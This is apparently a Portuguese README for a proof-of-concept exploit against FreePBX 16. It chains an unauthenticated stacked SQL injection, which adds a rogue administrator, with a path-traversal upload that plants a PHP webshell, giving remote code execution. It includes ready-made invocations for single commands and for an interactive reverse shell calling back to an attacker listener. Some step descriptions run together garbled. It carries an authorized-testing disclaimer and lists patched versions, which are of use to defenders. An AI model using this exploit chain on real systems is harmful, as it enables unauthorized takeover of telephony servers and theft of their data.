
Prova de conceito de exploit que combina injeção SQL não autenticada com travessia de caminho autenticada para obter execução remota de código no FreePBX 16. Suporta comandos únicos e shells reversos interativos.
Exploit proof-of-concept que encadeia duas vulnerabilidades do FreePBX para ir de zero acesso a execução remota de código no FreePBX 16.
| CVE | Componente | Impacto |
|---|---|---|
| CVE-2025-57819 | Carregador do módulo Endpoint (parâmetro brand) | Injeção SQL empilhada não autenticada |
| CVE-2025-61678 | Carregador de firmware do Endpoint Manager (parâmetro fwbrand) | Upload arbitrário de arquivo autenticado (path traversal) |
INSERT um administrador de acesso total novinho em folha diretamente na tabela ampusers.../../../var/www/html/<dir> em fwbrand para escrever uma webshell PHP na raiz web.FreePBX 16 (módulo Endpoint anterior à 16.0.92). Também corrigido nas versões 17.0.6. Atualize para uma versão corrigida.
# single command
python3 exploit.py --rhost pbx.example.com --command "id"
# interactive reverse shell (auto-listener via pwntools)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# plain HTTP / custom port
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
pip install requests pwntools
Apenas para testes de segurança autorizados e fins educacionais. Use-o exclusivamente em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade por uso indevido.
FreePBX · FreePBX 16 · FreePBX 16.0.40.7 · Sangoma PBX · Asterisk · CVE-2025-57819 · CVE-2025-61678 · injeção SQL não autenticada · injeção de consulta empilhada · módulo endpoint · Endpoint Manager · upload de arquivo autenticado · path traversal · execução remota de código · RCE · PoC · exploit · segurança VoIP
linkedin: ehxb · medium.com/@Ehxb · github 0xEhxb
| Flag | Descrição |
|---|
--rhost | Host alvo (obrigatório) |
--rport | Porta alvo (padrão 443) |
--http | Usar HTTP em vez de HTTPS |
--lhost / --lport | Endereço de callback do shell reverso |
--command | Executar um único comando em vez de um shell |